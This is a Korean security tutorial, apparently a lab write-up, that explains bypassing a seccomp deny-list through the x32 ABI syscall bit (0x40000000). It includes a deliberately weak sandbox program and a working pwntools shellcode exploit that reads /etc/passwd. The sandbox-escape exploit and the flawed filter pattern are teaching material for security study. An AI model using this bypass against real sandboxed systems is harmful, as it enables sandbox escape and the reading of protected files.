4. ABI
4.1 예제
#include <fcntl.h>
#include <linux/audit.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
#define DENY_SYSCALL(name) \
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_##name, 0, 1), \
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL)
#define MAINTAIN_PROCESS BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW)
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
#define ARCH_NR AUDIT_ARCH_X86_64
int sandbox() {
struct sock_filter filter[] = {
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr),
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0),
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr),
DENY_SYSCALL(open),
DENY_SYSCALL(openat),
MAINTAIN_PROCESS,
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
.filter = filter,
};
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) {
perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
return -1;
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
perror("Seccomp filter error\n");
return -1;
}
return 0;
}
int main(int argc, char* argv[]) {
char buf[256];
int fd;
memset(buf, 0, sizeof(buf));
sandbox();
fd = open("/bin/sh", O_RDONLY);
read(fd, buf, sizeof(buf) - 1);
write(1, buf, sizeof(buf));
return 0;
}
4.2 실행
4.3 분석
4.3.1 이전 장(bypass) 예제 코드
이전 장의 실습 코드 실행 결과
이전 장의 실습코드는 시스템 콜 번호가 0x40000000 보다 큰지 검사하는 코드는 존재하지 않았지만,
4.3.2 이번 장(secbpf) 예제 코드
이번 장의 실습 코드 실행 결과를 보자.
라이브러리 함수를 사용하지 않은 예제의 경우 해당 비교 구문이 없다.
이전 장과 이번 장의 실습 결과를 비교해보면,
SECCOMP 라이브러리 함수에서 시스템 콜 번호의 값을 비교하는 구문을 추가한다는 것을 알 수 있다.
이제, 이러한 비교 구문이 왜 추가되었는지 알아보고,
해당 비교가 없을 때 어떻게 우회하여 공격할 수 있는지 알아보자.
4.4 시스템 콜 호출 방식
x86-64와 x32, 두 개의 ABI는 같은 프로세서에서 동작한다.
x86-64에서는 32비트 명령어를 호환할 수 있다.
SECCOMP를 사용해 보면 아키텍처를 명시할 때 AUDIT_ARCH_X86_64라는 이름으로 정의된 매크로를 사용한다.
이는 리눅스 커널에서 x86-64와 x32를 동시에 일컫는 아키텍처 필드명이다.
그러나 두 개의 ABI는 명백히 다른 아키텍처이다.
리눅스 커널은 이들을 구별하기 위해 시스템 콜 번호에 특정 값을 사용하는데,
바로 0x40000000 이 값이다.
4.4.1 예제
__visible noinstr void do_syscall_64(struct pt_regs *regs, int nr) {
add_random_kstack_offset();
nr = syscall_enter_from_user_mode(regs, nr);
instrumentation_begin();
if (!do_syscall_x64(regs, nr) && !do_syscall_x32(regs, nr) && nr != -1) {
regs->ax = __x64_sys_ni_syscall(regs);
}
instrumentation_end();
syscall_exit_to_user_mode(regs);
}
리눅스 커널에서 시스템 콜을 호출하기 위한 do_syscall_x64 함수이다.
코드를 보면, 시스템 콜과 레지스터를 do_syscall_x64 전달해 호출하고,
이후에 do_syscall_x32를 호출한다.
이는 x86-64의 시스템 콜 호출에 실패하면 x32 ABI에서 다시 한번 호출을 시도하는 코드임을 알 수 있다.
이제 do_syscall_x64와 do_syscall_x32 함수를 자세히 보자
4.4.2 do_syscall_x64
static __always_inline bool do_syscall_x64(struct pt_regs *regs, int nr) {
unsigned int unr = nr;
if (likely(unr < NR_syscalls)) {
unr = array_index_nospec(unr, NR_syscalls);
regs->ax = sys_call_table[unr](regs);
return true;
}
return false;
}
x86-64에서 시스템 콜을 처리하는 do_syscall_x64 함수이다.
코드를 살펴보면, 호출하는 시스템 콜 번호가 시스템 콜 갯수를 초과하는지 비교하고
초과하지 않는다면 시스템 콜을 호출한다.
4.4.3 do_syscall_x32
static __always_inline bool do_syscall_x32(struct pt_regs *regs, int nr) {
unsigned int xnr = nr - __X32_SYSCALL_BIT;
if (IS_ENABLED(CONFIG_X86_X32_ABI) && likely(xnr < X32_NR_syscalls)) {
xnr = array_index_nospec(xnr, X32_NR_syscalls);
regs->ax = x32_sys_call_table[xnr](regs);
return true;
}
return false;
}
x32 명령어를 호환하는 do_syscall_x32 함수이다.
코드를 보면, 호출하는 시스템 콜 번호에서 __X32_SYSCALL_BIT 값을 뺀 시스템 콜 번호를 사용한다.
해당 매크로의 값은 0x40000000로 정의되어 있다.
5. ABI 실습
5.1 예제 코드
#include <fcntl.h>
#include <linux/audit.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
#define DENY_SYSCALL(name) \
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_##name, 0, 1), \
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL)
#define MAINTAIN_PROCESS BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW)
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
#define ARCH_NR AUDIT_ARCH_X86_64
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int sandbox() {
struct sock_filter filter[] = {
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr),
BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0),
BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr),
DENY_SYSCALL(open),
DENY_SYSCALL(openat),
DENY_SYSCALL(read),
DENY_SYSCALL(write),
DENY_SYSCALL(vfork),
DENY_SYSCALL(fork),
DENY_SYSCALL(clone),
DENY_SYSCALL(execve),
DENY_SYSCALL(execveat),
MAINTAIN_PROCESS,
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
.filter = filter,
};
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) {
perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
return -1;
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
perror("Seccomp filter error\n");
return -1;
}
return 0;
}
int main(int argc, char *argv[]) {
void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
memset(shellcode, 0, 0x1000);
printf("shellcode: ");
read(0, shellcode, 0x1000);
sandbox();
sc = (void *)shellcode;
sc();
}
코드 분석
위 코드는, 읽기, 쓰기, 실행 권한이 있는 페이지를 할당하고 이용자로부터 입력받은 값을 실행한다.
sandbox 함수를 보면, DENY 리스트 기반으로, DENY_SYSCALL 매크로의 인자로 전달되는 시스템 콜을 호출할 수 없다.
5.2 실행 결과
5.3 익스플로잇
5.3.1 시스템 콜 호출
사용할 수 있는 시스템 콜을 찾아야 한다.
정의된 규칙에 시스템 콜이 명시되어 있지 않더라도 특정 시스템 콜이 호출되면서 내부에서 사용하는 또 다른 시스템 콜을 호출하면서 프로그램이 종료될 수 있다.
예를 들어, 프로그램에서 openat을 거부하고 execve를 허용하더라도
execve는 openat 시스템 콜을 사용하기 때문에 프로그램이 종료된다.
따라서 시스템 콜의 의존성이 과할 경우 호출할 수 없는 가능성이 매우 크다.
open, read, write는 타 시스템 콜에 의존하지 않고 실행할 수 있다.
프로그램에서 해당 시스템 콜의 호출을 거부하지만
do_syscall_x32 함수에서 실행할 수 있으므로 해당 시스템 콜을 호출해 임의 파일을 읽어야한다.
5.3.2 익스플로잇
open, read, write 시스템 콜을 활용해 "/etc/passwd" 파일을 읽어 보자.
시스템 콜을 호출하는 방식은 비슷하지만, 시스템 콜 번호를 삽입할 때
"or rax, 0x40000000" 명령어가 존재해야한다.
이는 do_syscall_x32 함수, 즉, x32 모드로 시스템 콜을 호출하기 위한 것이다.
1. 익스 코드
from pwn import *
context.arch = 'x86_64'
p = process("./bypass_secbpf")
data = '''
mov rax, 2
or rax, 0x40000000
lea rdi, [rip+path]
xor rsi, rsi
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x1000
xor rax, rax
or rax, 0x40000000
syscall
mov rdi, 1
mov rsi, rsp
mov rax, 1
or rax, 0x40000000
syscall
path: .asciz "/etc/passwd"
'''
p.sendline(asm(data))
p.interactive()
2. 익스 결과
마치며
샌드박스(Sandbox): 외부의 공격으로부터 시스템을 보호하기 위해 설계된 기법
SECure COMPuting mode (SECCOMP): 리눅스 커널에서 프로그램의 샌드박싱 매커니즘을 제공하는 컴퓨터 보안 기능
Berkeley Packet Filter (BPF): BPF는 커널에서 지원하는 Virtual Machine (VM)으로, 본래에는 네트워크 패킷을 분석하고 필터링하는 목적으로 사용됨
Application Binary Interface (ABI): 애플리케이션과 운영 체제 간에서 사용하는 저수준 인터페이스로 프로그램의 메모리 사용량을 줄일 수 있을 뿐만 아니라 프로그램 실행 속도도 향상됩니다.
Reference